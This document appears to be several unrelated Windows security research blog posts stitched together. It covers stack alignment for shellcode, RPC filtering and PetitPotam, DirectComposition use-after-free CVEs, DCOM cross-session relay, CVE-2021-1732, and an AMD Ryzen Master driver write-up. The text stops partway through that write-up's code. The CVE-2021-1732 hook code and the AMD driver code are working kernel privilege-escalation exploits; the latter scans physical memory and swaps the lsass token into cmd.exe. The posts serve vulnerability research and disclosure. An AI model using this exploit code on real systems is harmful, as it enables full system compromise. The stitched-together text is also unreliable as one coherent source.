Basically the entire problem boils down to the fact that we need to return to somewhere - and when we do, the stack needs to be aligned the same way as it would normally be during normal execution.
The entire process of aligning the stuck boils down to three things. First, identifying, where we will be returning - and taking notice of what the stack and the registers look like when return to that location is made normally. Second, setting a breakpoint in our shellcode, to again take notice of what the stack and the registers look like when our shellcode executes (it's convenient to use hardcoded software breakpoint in the shellcode itself - just append it with 0xcc (int3) instead of the return stub). Third, comparing the state of the registers and the stack between the two stages, finding where the register values to restore are in memory, restore them, then finally adjust the last one of them (ESP) and make the return.
Running
Source code can be found here.
I did promise that I'd put out a blog post on how the Windows RPC filter works. Now that I released my more general blog post on the Windows firewall I thought I'd come back to a shorter post about the RPC filter itself. If you don't know the context, the Windows firewall has the ability to restrict access to RPC interfaces. This is interesting due to the renewed interest in all things RPC, especially the PetitPotam trick. For example you can block any access to the EFSRPC interfaces using the following script which you run with the netsh command.
The PetitPotam technique is still fresh in people's minds. While it's not directly an exploit it's a useful step to get unauthenticated NTLM from a privileged account to forward to something like the AD CS Web Enrollment service to compromise a Windows domain. Interestingly after Microsoft initially shrugged about fixing any of this they went and released a fix, although it seems to be insufficient at the time of writing.
While there's plenty of details about how to abuse the EFSRPC interface, there's little on why it's exploitable to begin with. I thought it'd be good to have a quick overview of how Windows RPC interfaces are secured and then by extension why it's possible to use the EFSRPC interface unauthenticated.
Caveat: No doubt I might be missing other security checks in RPC, these are the main ones I know about :-)
Microsoft DirectComposition is a Windows component that enables high-performance bitmap composition with transforms, effects, and animations. Application developers can use the DirectComposition API to create visually engaging user interfaces that feature rich and fluid animated transitions from one visual to another.[1]
DirectComposition API provides COM interface via dcomp.dll, calls win32kbase.sys through win32u.dll export function, and finally sends data to client program dwm.exe (Desktop Window Manager) through ALPC to complete the graphics rendering operation:
win32u.dll (Windows 10 1909) provides the following export functions to handle DirectComposition API:
The three functions related to trigger vulnerability are: NtDCompositionCreateChannel,NtDCompositionProcessChannelBatchBuffer and NtDCompositionCommitChannel:
(1) NtDCompositionCreateChannel creates a channel to communicate with the kernel:
typedef NTSTATUS(*pNtDCompositionCreateChannel)(
OUT PHANDLE hChannel,
IN OUT PSIZE_T pSectionSize,
OUT PVOID* pMappedAddress
);
(2) NtDCompositionProcessChannelBatchBuffer batches multiple commands:
typedef NTSTATUS(*pNtDCompositionProcessChannelBatchBuffer)(
IN HANDLE hChannel,
IN DWORD dwArgStart,
OUT PDWORD pOutArg1,
OUT PDWORD pOutArg2
);
The batched commands are stored in the pMappedAddress memory returned by NtDCompositionCreateChannel. The command list is as follows:
enum DCOMPOSITION_COMMAND_ID
{
ProcessCommandBufferIterator,
CreateResource,
OpenSharedResource,
ReleaseResource,
GetAnimationTime,
CapturePointer,
OpenSharedResourceHandle,
SetResourceCallbackId,
SetResourceIntegerProperty,
SetResourceFloatProperty,
SetResourceHandleProperty,
SetResourceHandleArrayProperty,
SetResourceBufferProperty,
SetResourceReferenceProperty,
SetResourceReferenceArrayProperty,
SetResourceAnimationProperty,
SetResourceDeletedNotificationTag,
AddVisualChild,
RedirectMouseToHwnd,
SetVisualInputSink,
RemoveVisualChild
};
The commands related to trigger vulnerability are: CreateResource, SetResourceBufferProperty, ReleaseResource. The data structure of different commands is different:
(3) NtDCompositionCommitChannel serializes batch commands and sends them to dwm.exe for rendering through ALPC:
typedef NTSTATUS(*pNtDCompositionCommitChannel)(
IN HANDLE hChannel,
OUT PDWORD out1,
OUT PDWORD out2,
IN DWORD flag,
IN HANDLE Object
);
First use CreateResource command to create CInteractionTrackerBindingManagerMarshaler resource (ResourceType = 0x59, hereinafter referred to as “Binding”) and CInteractionTrackerMarshaler resource (ResourceType = 0x58, hereinafter referred to as “Tracker”).
Then call the SetResourceBufferProperty command to set the Tracker object to the Binding object’s BufferProperty.
This process is handled by the function CInteractionTrackerBindingManagerMarshaler::SetBufferProperty, which main process is as follows:
The key steps are as follows:
(1) Check the input buffer subcmd == 0 && bufsize == 0xc
(2) Get Tracker objects tracker1 and tracker2 from channel-> resource_list (+0x38) according to the resourceId in the input buffer
(3) Check whether the types of tracker1 and tracker2 are CInteractionTrackerMarshaler (0x58)
(4) If binding->entry_count (+0x50) > 0, find the matched TrackerEntry from binding->tracker_list (+0x38) according to the handleID of tracker1 and tracker2, then update TrackerEntry->entry_id to the new_entry_id from the input buffer
(5) Otherwise, create a new TrackerEntry structure. If tracker1->binding == NULL || tracker2->binding == NULL, update their binding objects
After SetBufferProperty, a reference relationship between the binding object and the tracker object is as follows:
When use ReleaseResource command to release the Tracker object, the CInteractionTrackerMarshaler::ReleaseAllReferencescalled function is called. ReleaseAllReferences checks whether the tracker object has a binding object internally:
If it has:
(1) Call RemoveTrackerBindings. In RemoveTrackerBindings, TrackerEntry.entry_id is set to 0 if the resourceID in tracker_list is equal to the resourceID of the freed tracker. Then call CleanUpListItemsPendingDeletion to delete the TrackerEntry which entry_id=0 in tracker_list:
(2) Call ReleaseResource to set refcnt of the binding object minus 1.
(3) tracker->binding (+0x190) = 0
According to the above process, the input command buffer to construct a normal SetBufferProperty process is as follows:
After SetBufferProperty, the memory layout of binding1 and tacker1, tracker2 objects is as follows:
After ReleaseResource tracker2, the memory layout of binding1, tacker1, and tracker2 objects is as follows:
Retrospective the process of CInteractionTrackerBindingManagerMarshaler::SetBufferProperty, when new_entry_id != 0, a new TrackerEntry structure will be created:
If tracker1 and tracker2 have been bound to binding1 already, after binding tracker1 and tracker2 to binding2, a new TrackerEntry structure will be created for binding2. Since tracker->binding != NULL at this time, tracker->binding will still save binding1 pointer and will not be updated to binding2 pointer. When the tracker is released, binding2->entry_list will retain the tracker’s dangling pointer.
Construct an input command buffer which can trigger the vulnerability as follows:
Memory layout after ReleaseResource tracker1:
It can be seen that after ReleaseResource tracker1, binding2->track_list[0] saves the dangling pointer of tracker1.
According to analyze the branch of ‘the new_entry_id != 0’, the root cause of CVE-2020-1381 is when creating TrackerEntry, it didn’t check the tracker object which has been bound to the binding object. The patch adds a check for tracker->binding when creating TrackerEntry:
CVE-2021-26900 is a bypass of the CVE-2020-1381 patch. The key point to bypass the patch is if the condition of tracker->binding==NULL can be constructed after the tracker is bound to the binding object.
The way to bypass is in the ‘update TrackerEntry’ branch:
When TrackerEntry->entry_id == 0, RemoveBindingManagerReferenceFromTrackerIfNecessary function is called. It checks if entry_id==0 internally, then call SetBindingManagerMarshaler to set tracker->binding=NULL:
Therefore, by setting entry_id=0 manually, the status of tracker->binding == NULL can be obtained, which can be used to bypass the CVE-2020-1381 patch.
Construct an input command buffer which can trigger the vulnerability as follows:
After setting entry_id=0 manually, the memory layout of binding1 and tracker1:
At this time, binding1->TrackerEntry still saves the pointer of tracker1, but tracker1->binding = NULL. Memory layout after ReleaseResource tracker1:
It can be seen that after ReleaseResource tracker1, binding1->track_list[0] saves the dangling pointer of tracker1.
Retrospective the method in CVE-2021-26900 which sets entry_id=0 manually to get tracker->binding == NULL status to bypass the CVE-2020-1381 patch and the process of CInteractionTrackerMarshaler::ReleaseAllReferences:ReleaseAllReferences which checks that if the tracker object has a binding object, and then deletes the corresponding TrackerEntry.
So when entry_id is set to 0 manually, tracker->binding will be set to NULL. When the tracker object is released via ReleaseResource command, the TrackerEntry saved by the binding object will not be deleted, then a dangling pointer of the tracker object will be obtained again.
Construct an input command buffer which can trigger the vulnerability as follows:
Memory layout after ReleaseResource tracker1:
It can be seen that after ReleaseResource tracker1, binding1->track_list[0] saves the dangling pointer of tracker1.
CVE-2021-33739 is different from the vulnerability in win32kbase.sys introduced in previous sections. It is a UAF vulnerability in dwmcore.dll of the dwm.exe process. The root cause is in ReleaseResource phase of CloseChannel. In CInteractionTrackerBindingManager::RemoveTrackerBinding function call, when the element Binding->hashmap(+0x40) is deleted, the hashmap is accessed directly without checking whether the Binding object is released, which causes the UAF vulnerability.
Construct an input command buffer which can trigger the vulnerability as follows:
According to the previous analysis, in the normal scenario of CInteractionTrackerBindingManagerMarshaler::SetBufferProperty function call, the Binding object should be bound with two different Tracker objects. However, if it is bound with the same Tracker object:
(1) Binding phase:
CInteractionTrackerBindingManager::ProcessSetTrackerBindingMode function is called to process binding opreation, which calls CInteractionTrackerBindingManager::AddOrUpdateTrackerBindings function internally to update Tracker->Binding (+0x278). When Tracker has already be bound with the current Binding object, the binding operation will not be repeated:
Therefore, if the same Tracker object is bound already, the Binding object will not be bound again, then the refcnt of the Binding object will only be increased by 1 finally:
(2) Release phase:
After PreRender is finished, CComposition::CloseChannel will be called to close the Channel and release the Resource in the Resource HandleTable. The Binding object will be released firstly, at this time Binding->refcnt = 1:
Then the Tracker object will be released. CInteractionTrackerBindingManager::RemoveTrackerBindings will be called to release Tracker->Binding:
Three steps are included:
(1) Get the Tracker object from the TrackerEntry
(2) Erase the corresponding Tracker pointer from Binding->hashmap (+0x40)
(3) Remove Tracker->Binding (Binding->refcnt –) from the Tracker object
The key problem is: After completing the cleanup of the first Tracker object in TrackerEntry, the Binding object may be released already. When the second Tracker object is prepared to be cleared, because the Binding object has been released, the validity of the Binding object does not be checked before the Binding->hashmap is accessed again, which result in an access vialation exception:
For the kernel object UAF exploitation, according to the publicly available exploit samples[5], the Palette object is used to occupy the freed memory:
Use CInteractionTrackerBindingManagerMarshaler::EmitBoundTrackerMarshalerUpdateCommands function to access the placeholder objects:
The red box here is the virtual function CInteractionTrackerMarshaler::EmitUpdateCommands of tracker1, tracker2 object (vtable + 0x50). Because the freed Tracker object has been reused by Palette, the program execution flow hijacking is achieved by forging a virtual table and writing other function pointers to fake Tracker vtable+0x50.
The sample selects nt!SeSetAccessStateGenericMapping:
With the 16-byte write capability of nt!SeSetAccessStateGenericMapping, it modifies _KTHREAD->PreviousMode = 0 to inject shellcode into Winlogon process to complete the privilege escalation.
Another way to occupy freed memory
The exploitation of Palette object is relatively common, is there some object with user-mode controllable memory size in the DirectComposition component can be exploited?
The Binding object and Tracker object we discussed before are belonged to the Resource of DirectComposition. DirectComposition contains many Resource objects, which are created by DirectComposition::CApplicationChannel::CreateInternalResource:
Each Resource has a BufferProperty, which is set by SetResourceBufferProperty command. So our object is to find one Resource which can be used to allocate a user-mode controllable memory size through the SetResourceBufferProperty command. Through searching, I found CTableTransferEffectMarshaler::SetBufferProperty. The command format is as follows:
When subcmd==0, the bufferProperty is stored at CTableTransferEffectMarshaler+0x58. The size of the bufferProperty is set by the user-mode input bufferSize, and the content is copied from the user-mode input buffer:
Modify the original sample and use the propertyBuffer of CTableTransferEffectMarshaler to occupy freed memory:
By debugging, we can see that the propertyBuffer of CTableTransferEffectMarshaler occupies the freed memory successfully:
Finally, successful exploitation screenshot:
[1] https://docs.microsoft.com/en-us/windows/win32/directcomp/directcomposition-portal
[2] https://www.zerodayinitiative.com/blog/2021/5/3/cve-2021-26900-privilege-escalation-via-a-use-after-free-vulnerability-in-win32k
[3] https://github.com/thezdi/PoC/blob/master/CVE-2021-26900/CVE-2021-26900.c
[4] https://ti.dbappsecurity.com.cn/blog/articles/2021/06/09/0day-cve-2021-33739/
[5] https://github.com/Lagal1990/CVE-2021-33739-POC
This week @decoder_it and @splinter_code disclosed a new way of abusing DCOM/RPC NTLM relay attacks to access remote servers. This relied on the fact that if you're in logged in as a user on session 0 (such as through PowerShell remoting) and you call CoGetInstanceFromIStorage the DCOM activator would create the object on the lowest interactive session rather than the session 0. Once an object is created the initial unmarshal of the IStorage object would happen in the context of the user authenticated to that session. If that happens to be a privileged user such as a Domain Administrator then the NTLM authentication could be relayed to a remote server and fun ensues.
The obvious problem with this attack is the requirement of being in session 0. Certainly it's possible a non-admin user might be allowed to authenticate to a system via PowerShell remoting but it'd be rarer than just being authenticated on a Terminal Server with multiple other users you could attack. It'd be nice if somehow you could pick the session that the object was created on.
Of course this already exists, you can use the session moniker to activate an object cross-session (other than to session 0 which is special). I've abused this feature multiple times for cross-session attacks, such as this, this or this. I've repeated told Microsoft they need to fix this activation route as it makes no sense than a non-administrator can do it. But my warnings have not been heeded.
If you read the description of the session moniker you might notice a problem for us, it can't be combined with IStorage activation. The COM APIs only give us one or the other. However, if you poke around at the DCOM protocol documentation you'll notice that they are technically independent. The session activation is specified by setting the dwSessionId field in the SpecialPropertiesData activation property. And the marshalled IStorage object can be passed in the ifdStg field of the InstanceInfoData activation property. You package those activation properties up and send them to the IRemoteSCMActivator RemoteGetClassObject or RemoteCreateInstance methods. Of course it's possible this won't really work, but at least they are independent properties and could be mixed.
The problem with testing this out is implementing DCOM activation is ugly. The activation properties first need to be NDR marshalled in a blob. They then need to be packaged up correctly before it can be sent to the activator. Also the documentation is only for remote activation which is not we want, and there are some weird quirks of local activation I'm not going to go into. Is there any documented way to access the activator without doing all this?
No, sorry. There is an undocumented way though if you're interested? Sure? Okay good, let's carry on. The key with these sorts of challenges is to just look at how the system already does it. Specifically we can look at how session moniker is activating the object and maybe from that we'll be lucky and we can reuse that for our own purposes.
Where to start? If you read this MSDN article you can see you need to call MkParseDisplayNameEx to create parse the string into a moniker. But that's really a wrapper over MkParseDisplayName to provide URL moniker functionality which we don't care about. We'll just start at the MkParseDisplayName which is in OLE32.
Almost immediately we see a call to FindSessionMoniker, seems promising. Looking into that function we find what we need.
This code parses out the session moniker data and then creates a new instance of the CSessionMoniker class. Of course this is not doing any activation yet. You don't use the session moniker in isolation, instead you're supposed to build a composite moniker with a new or class moniker. The MkParseDisplayName API will keep parsing the string (which is why pchEaten is updated) and combine each moniker it finds. Therefore, if you have the moniker display name:
Session:3!clsid:0002DF02-0000-0000-C000-000000000046
The API will return a composite moniker consisting of the session moniker for session 3 and the class moniker for CLSID 0002DF02-0000-0000-C000-000000000046 which is the Browser Broker. The example code then calls BindToObject on the composite moniker, which first calls the right most moniker, which is the class moniker.
The pmkToLeft parameter is set by the composite moniker to the left moniker, which is the session moniker. We can see that the class moniker calls the session moniker's BindToObject method requesting an IClassActivator interface. It then calls the GetClassObject method, passing it the CLSID to activate. We're almost there.
Finally the session moniker creates a new COM activator object with the IStandardActivator interface. It then queries for the ISpecialSystemProperties interface and sets the moniker's session ID and console state. It then calls the StandardGetClassObject method on the IStandardActivator and you should now have a COM server cross-session. None of these interface or the class are officially documented of course (AFAIK).
The $1000 question is, can you also do IStorage activation through the IStandardActivator interface? Poking around in COMBASE for the implementation of the interface you find one of its functions is:
It seems that the answer is yes. Of course it's possible that you still can't mix the two things up. That's why I wrote a quick and dirty example in C#, which is available here. Seems to work fine. Of course I've not tested it out with the actual vulnerability to see it works in that scenario. That's something for others to do.
CVE-2021-1732 is a 0-Day vulnerability exploited by the BITTER APT organization in one operation which was disclosed in February this year[1][2][3]. This vulnerability exploits a user mode callback opportunity in win32kfull module to break the normal execution flow and set the error flag of window object (tagWND) extra data, which results in kernel-space out-of-bounds memory access violation.
The root cause of CVE-2021-1732 is:
In the process of creating window (CreateWindowEx), when the window object tagWND has extra data (tagWND.cbwndExtra != 0), the function pointer of user32!_xxxClientAllocWindowClassExtraBytes saved in ntdll!_PEB.kernelCallbackTable (offset+0x58) in user mode will be called via the nt!KeUserModeCallback callback mechanism, and the system heap allocator (ntdll!RtlAllocateHeap) is used to allocate the extra data memory in user-space.
By hooking user32!_xxxClientAllocWindowClassExtraBytes function in user mode, and modifying the properties of the window object extra data in the hook function manually, the kernel mode atomic operation of allocating memory for extra data can be broken, then the out-of-bounds read/write ability based on the extra data memory is achieved finally.
The normal flow of the window object creation (CreateWindowEx) process is shown as follows (partial):
From the above figure, we can see that: when the window extra data size (tagWND.cbWndExtra) is not 0, win32kfull!xxxCreateWindowEx calls the user mode function user32!_xxxClientAllocWindowClassExtraBytes via the kernel callback mechanism, requests for the memory of the window extra data in user-space. After allocation, the pointer of allocated memory in user-space will be returned to the tagWND.pExtraBytes property:
Here are two modes of saving tagWND extra data address (tagWND.pExtraBytes):
[Mode 1] In user-space system heap
As the normal process shown in the figure above, the pointer of extra data memory allocated in user-space system heap is saved in tagWND.pExtraBytes directly.
One tagWND memory layout of Mode 1 is shown in the following figure:
[Mode 2] In kernel-space desktop heap
The function ntdll!NtUserConsoleControl allocates extra data memory in kernel-space desktop heap by function DesktopAlloc, calculates the offset of allocated extra data memory address to the kernel desktop heap base address, saves the offset to tagWND.pExtraBytes, and modifies tagWND.extraFlag |= 0x800:
One tagWND memory layout of Mode 2 is shown in the following figure:
So we can hook the function user32!_xxxClientAllocWindowClassExtraBytes in user-space, call NtUserConsoleControl manually in hook function to modify the tagWND extra data storage mode from Mode 1 to Mode 2, call ntdll!NtCallbackReturn before the callback returns:
Then return the user mode controllable offset value to tagWND.pExtraBytes through ntdll!NtCallbackReturn, and realize the controllable offset out-of-bounds read/write ability based on the kernel-space desktop heap base address finally.
The modified process which can trigger the vulnerability is shown as follows:
According to the modified flowchart above, the key steps of triggering this vulnerability are explained as follows:
An implementation of the hook function is demonstrated as follows:
void* WINAPI MyxxxClientAllocWindowClassExtraBytes(ULONG* size) {
do {
if (MAGIC_CBWNDEXTRA == *size) {
HWND hwndMagic = NULL;
//search from freed NormalClass window mapping desktop heap
for (int i = 2; i < 50; ++i) {
ULONG_PTR cbWndExtra = *(ULONG_PTR*)(g_pWnd[i] + _WND_CBWNDEXTRA_OFFSET);
if (MAGIC_CBWNDEXTRA == cbWndExtra) {
hwndMagic = (HWND)*(ULONG_PTR*)(g_pWnd[i]);
printf("[+] bingo! find &hwndMagic = 0x%llx in callback :) \n", g_pWnd[i]);
break;
}
}
if (!hwndMagic) {
printf("[-] Not found hwndMagic, memory layout unsuccessfully :( \n");
break;
}
// 1. set hwndMagic extraFlag |= 0x800
CONSOLEWINDOWOWNER consoleOwner = { 0 };
consoleOwner.hwnd = hwndMagic;
consoleOwner.ProcessId = 1;
consoleOwner.ThreadId = 2;
NtUserConsoleControl(6, &consoleOwner, sizeof(consoleOwner));
// 2. set hwndMagic pExtraBytes fake offset
struct {
ULONG_PTR retvalue;
ULONG_PTR unused1;
ULONG_PTR unused2;
} result = { 0 };
//offset = 0xffffff00, access memory = heap base + 0xffffff00, trigger BSOD
result.retvalue = 0xffffff00;
NtCallbackReturn(&result, sizeof(result), 0);
}
} while (false);
return _xxxClientAllocWindowClassExtraBytes(size);
}
BSOD snapshot:
From Root cause anaysis, we can see that:
“An opportunity to read/write data in the address which calculated by the kernel-space desktop heap base address + specified offset” can be obtained via this vulnerability.
For the kernel mode exploitation, the attack target is to obtain system token generally. A common method is shown as follows:
The obstacle is step 1: How to exploit “An opportunity to read/write data in the address which calculated by the kernel-space desktop heap base address + specified offset” to obtain the arbitrary memory read/write primitive in kernel-space.
One solution is shown in the following figure:
The final privilege escalation demonstration:
[1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732
[2] https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack-cn/
[3] https://www.virustotal.com/gui/file/914b6125f6e39168805fdf57be61cf20dd11acd708d7db7fa37ff75bf1abfc29/detection
[4] https://en.wikipedia.org/wiki/Privilege_escalation
Earlier this year I was really focused on Windows exploit development and was working through the FuzzySecurity exploit development tutorials on the HackSysExtremeVulnerableDriver to try and learn and eventually went bug hunting on my own.
I ended up discovering what could be described as a logic bug in the ATI Technologies Inc. driver ‘atillk64.sys’. Being new to the Windows driver bug hunting space, I didn’t realize that this driver had already been analyzed and classified as vulnerable by Jesse Michael and his colleague Mickey in their ‘Screwed Drivers’github repo. It had also been mentioned in several other places that have been pointed out to me since.
So I didn’t really feel like I had discovered my first real bug and decided to hunt similar bugs on Windows 3rd party drivers until I found my own in the AMD Ryzen Master AMDRyzenMasterDriver.sys version 15.
I have since stopped looking for these types of bugs as I believe they wouldn’t really help me progress skills wise and my goals have changed since.
Huge thanks to the following people for being so charitable, publishing things, messaging me back, encouraging me, and helping me along the way:
The AMD Ryzen Master Utility is a tool for CPU overclocking. The software purportedly supports a growing list of processors and allows users fine-grained control over the performance settings of their CPU. You can read about it here
AMD has published an advisory on their Product Security page for this vulnerability.
This vulnerability is extremely similar to my last Windows driver post, so please give that a once-over if this one lacks any depth and leaves you curious. I will try my best to limit the redudancy with the previous post.
All of my analysis was performed on Windows 10 Build 18362.19h1_release.190318-1202
.
I picked this driver as a target because it is common of 3rd-party Windows drivers responsible for hardware configurations or diagnostics to make available to low-privileged users powerful routines that directly read from or write to physical memory.
The first thing I did after installing AMD Ryzen Master using the default installer was to locate the driver in OSR’s Device Tree utility and check its permissions. This is the first thing I was checking during this period because I had read that Microsoft did not consider a violation of the security boundary between Administrator and SYSTEM to be a serious violation. I wanted to ensure that my targets were all accessible from lower privileged users and groups.
Luckily for me, Device Tree indicated that the driver allowed all Authenticated Users to read and modify the driver.
Next, I started looking at the driver in in a free version of IDA. A search for MmMapIoSpace
returned quite a few places in which the api was cross referenced. I just began going down the list to see what code paths could reach these calls.
The first result, sub_140007278
, looked very interesting to me.
We don’t know at this point if we control the API parameters in this routine but looking at the routine statically you can see that we make our call to MmMapIoSpace
, it stores the returned pointer value in [rsp+48h+BaseAddress]
and does a check to make sure the return value was not NULL
. If we have a valid pointer, we then progress into this loop routine on the bottom left.
At the start of the looping routine, we can see that eax
gets the value of dword ptr [rsp+48h+NumberOfBytes]
and then we compare eax
to [rsp+48h+var_24]
. This makes some sense because we already know from looking at the API call that [rsp+48h+NumberOfBytes]
held the NumberOfBytes
parameter for MmMapIoSpace
. So essentially what this is looking like is, a check to see if a counter variable has reached our NumberOfBytes
value. A quick highlight of eax
shows that later it takes on the value of [rsp+48h+var_24]
, is incremented, and then eax
is put back into [rsp+48h+var_24]
. Then we’re back at the top of our loop where eax
is set equal to NumberOfBytes
before every check.
So this to me looked interesting, we can see that we’re doing something in a loop, byte by byte, until our NumberOfBytes
value is reached. Once that value is reached, we see the other branch in our loop when our NumberOfBytes
value is reached is a call to MmUnmapIoSpace
.
Looking a bit closer at the loop, we can see a few interesting things. ecx
is essentially a counter here as its set equal to our already mentioned counters eax
and [rsp+48h+var_24]
. We also see there is a mov
to [rdx+rcx]
from al
. A single byte is written to the location of rdx
+ rcx
. So we can make a guess that rdx
is a base address and rcx
is an offset. This is what a traditional for
loop would seem to look like disassembled. al
is taken from another similar construction in [r8+rax]
where rax
is now acting as the offset and r8
is a different base address.
So all in all, I decided this looks like a routine that is either doing a byte by byte read or a byte by byte write to kernel memory most likely. But if you look closely, you can see that the pointer returned from MmMapIoSpace
is the one that al
is written to (while tracking an offset) because it is eventually moved into rdx
for the mov [rdx+rcx], al
operation. This was exciting for me because if we can control the parameters of MmMapIoSpace
, we will possibly be able to specify a physical memory address and offset and copy a user controlled buffer into that space once it is mapped into our process space. This is essentially a write what where primitive!
Looking at the first cross-reference to this routine, I started working my way back up the call graph until I was able to locate a probable IOCTL code.
After banging my head against my desk for hours trying to pass all of the checks to reach our glorious write what where routine, I was finally able to reach it and get a reliable BSOD. The checks were looking at the sizes of my input and output buffers supplied to my DeviceIoControl
call. I was able to solve this by simply stringing together random length buffers of something like AAAAAAAABBBBBBBBCCCCCCCC
etc, and seeing how the program would parse my input. Eventually I was able to figure out that the input buffer was structured as follows:
NumberOfBytes
parameter,Very cool! We have control over all the MmMapIoSpace
params except CacheType
and we can specify what buffer to copy over!
This is progress, I was fairly certain at this point I had a write primitive; however, I wasn’t exactly sure what to do with it. At this point, I reasoned that if a routine existed to do a byte by byte write to a kernel buffer somewhere, I probably also had the ability to do a byte by byte read of a kernel buffer. So I set out to find my routine’s sibling, the read what where routine (if she existed).
Now I went back to the other cross references of MmMapIoSpace
calls and eventually came upon this routine, sub_1400063D0
.
You’d be forgiven if you think it looks just like the last routine we analyzed, I know I did and missed it initially; however, this routine differs in one major way. Instead of copying byte by byte out of our process space buffer and into a kernel buffer, we are copying byte by byte out of a kernel buffer and into our process space buffer. I will spare you the technical analysis here but it is essentially our other routine except only the source and destinations are reversed! This is our read what where primitive and I was able to back track a cross reference in IDA to this IOCTL.
There were a lot of rabbit holes here to go down but eventually this one ended up being straightforward once I found a clear cut code path to the routine from the IOCTL call graph.
Once again, we control the important MmMapIoSpace
parameters and, this is a difference from the other IOCTL, the byte by byte transfer occurs in our DeviceIoControl
output buffer argument at an offset of 0xC
bytes. So we can tell the driver to read physical memory from an arbitrary address, for an arbitrary length, and send us the results!
With these two powerful primitives, I tried to recreate my previous exploitation strategy employed in my last post.
Here I will try to walk through some code snippets and explain my thinking. Apologies for any programming mistakes in this PoC code; however, it works reliably on all the testing I performed (and it worked well enough for AMD to patch the driver.)
First, we’ll need to understand what I’m fishing for here. As I explained in my previous post, I tried to employ the same strategy that @b33f did with his driver exploit and fish for "Proc"
tags in the kernel pool memory. Please refer to that post for any questions here. The TL;DR here is that information about processes are stored in the EPROCESS
structure in the kernel and some of the important members for our purposes are:
ImageFileName
(this is the name of the process)UniqueProcessId
(the PID)Token
(this is a security token value)The offsets from the beginning of the structure to these members was as follows on my build:
0x2e8
to the UniqueProcessId
0x360
to the Token
0x450
to the ImageFileName
You can see the offsets in WinDBG:
kd> !process 0 0 lsass.exe
PROCESS ffffd48ca64e7180
SessionId: 0 Cid: 0260 Peb: 63d241d000 ParentCid: 01f0
DirBase: 1c299b002 ObjectTable: ffffe60f220f2580 HandleCount: 1155.
Image: lsass.exe
kd> dt nt!_EPROCESS ffffd48ca64e7180 UniqueProcessId Token ImageFilename
+0x2e8 UniqueProcessId : 0x00000000`00000260 Void
+0x360 Token : _EX_FAST_REF
+0x450 ImageFileName : [15] "lsass.exe"
Each data structure in the kernel pool has various headers, (thanks to ReWolf for breaking this down so well):
POOL_HEADER
structure (this is where our "Proc"
tag will reside),OBJECT_HEADER_xxx_INFO
structures,OBJECT_HEADER
which, contains a Body
where the EPROCESS
structure lives.As b33f explains, in his write-up, all of the addresses where one begins looking for a "Proc"
tag are 0x10
aligned, so every address here ends in a 0
. We know that at some arbitrary address ending in 0
, if we look at <address> + 0x4
that is where a "Proc"
tag might be.
The difficulty on my Windows build was that the length from my "Proc"
tag once found, to the beginning of the EPROCESS
structure where I know the offsets to the members I want varied wildly. So much so that in order to get the exploit working reliably, I just simply had to create my own data structure and store instances of them in a vector. The data structure was as follows:
struct PROC_DATA {
std::vector<INT64> proc_address;
std::vector<INT64> page_entry_offset;
std::vector<INT64> header_size;
};
So as I’m using our Read What Where primitive to blow through all the RAM hunting for "Proc"
, if I find an instance of "Proc"
I’ll iterate 0x10
bytes at a time until I find a marker signifying the end of our pool headers and the beginning of EPROCESS
. This marker was 0x00B80003
. So now, I’ll have the proc_address
the literal place where "Proc"
was and store that in PROC_DATA.proc_address
, I’ll also annotate how far that address was from the nearest page-aligned memory address (a multiple of 0x1000
) in PROC_DATA.proc_address
and also annotate how far from "Proc"
it was until we reached our marker or the beginning of EPROCESS
in PROC.header_size
. These will all be stored in a vector.
You can see this routine here:
INT64 results_begin = ((INT64)output_buff + 0xc);
for (INT64 i = 0; i < 0xF60; i = i + 0x10) {
PINT64 proc_ptr = (PINT64)(results_begin + 0x4 + i);
INT32 proc_val = *(PINT32)proc_ptr;
if (proc_val == 0x636f7250) {
for (INT64 x = 0; x < 0xA0; x = x + 0x10) {
PINT64 header_ptr = PINT64(results_begin + i + x);
INT32 header_val = *(PINT32)header_ptr;
if (header_val == 0x00B80003) {
proc_count++;
cout << "\r[>] Proc chunks found: " << dec <<
proc_count << flush;
INT64 temp_addr = input_buff.start_address + i;
// This address might not be page-aligned to 0x1000
// so find out how far off from a multiple of
// 0x1000 we are. This value is stored in our
// PROC_DATA struct in the page_entry_offset
// member.
INT64 modulus = temp_addr % 0x1000;
proc_data.page_entry_offset.push_back(modulus);
// This is the page-aligned address where, either
// small or large paged memory will hold our "Proc"
// chunk. We store this as our proc_address member
// in PROC_DATA.
INT64 page_address = temp_addr - modulus;
proc_data.proc_address.push_back(
page_address);
proc_data.header_size.push_back(x);
}
}
}
}
It will be more obvious with the entire exploit code, but what I’m doing here is basically starting from a physical address, and calling our read what where with a read size of 0x100c
(0x1000
+ 0xc
as required so we can capture a whole page of memory and still keep our returned metadata information that starts at offset 0xc
in our output buffer) in a loop all the while adding these discovered PROC_DATA
structures to a vector. Once we hit our max address or max iterations, we’ll send this vector over to a second routine that parses out all the data we care about like the EPROCESS
members we care about.
It is important to note that I took great care to make sure that all calls to MmMapIoSpace
used page-aligned physical addresses as this is the most stable way to call the API
Now that I knew exactly how many "Proc"
chunks I had found and stored all their relevant metadata in a vector, I could start a second routine that would use that metadata to check for their EPROCESS
member values to see if they were processes I cared about.
My strategy here was to find the EPROCESS
members for a privileged process such as lsass.exe
and swap its security token with the security token of a cmd.exe
process that I owned. You can see a portion of that code here:
INT64 results_begin = ((INT64)output_buff + 0xc);
INT64 imagename_address = results_begin +
proc_data.header_size[i] + proc_data.page_entry_offset[i]
+ 0x450; //ImageFileName
INT64 imagename_value = *(PINT64)imagename_address;
INT64 proc_token_addr = results_begin +
proc_data.header_size[i] + proc_data.page_entry_offset[i]
+ 0x360; //Token
INT64 proc_token = *(PINT64)proc_token_addr;
INT64 pid_addr = results_begin +
proc_data.header_size[i] + proc_data.page_entry_offset[i]
+ 0x2e8; //UniqueProcessId
INT64 pid_value = *(PINT64)pid_addr;
int sys_result = count(SYSTEM_procs.begin(), SYSTEM_procs.end(),
imagename_value);
if (sys_result != 0) {
system_token_count++;
system_tokens.token_name.push_back(imagename_value);
system_tokens.token_value.push_back(proc_token);
}
if (imagename_value == 0x6578652e646d63) {
//cout << "[>] cmd.exe found!\n";
cmd_token_address = (start_address + proc_data.header_size[i] +
proc_data.page_entry_offset[i] + 0x360);
}
}
if (system_tokens.token_name.size() != 0 and cmd_token_address != 0) {
cout << "\n[>] cmd.exe and SYSTEM token information found!\n";
cout << "[>] Let's swap tokens!\n";
}
else if (cmd_token_address == 0) {
cout << "[!] No cmd.exe token address found, exiting...\n";
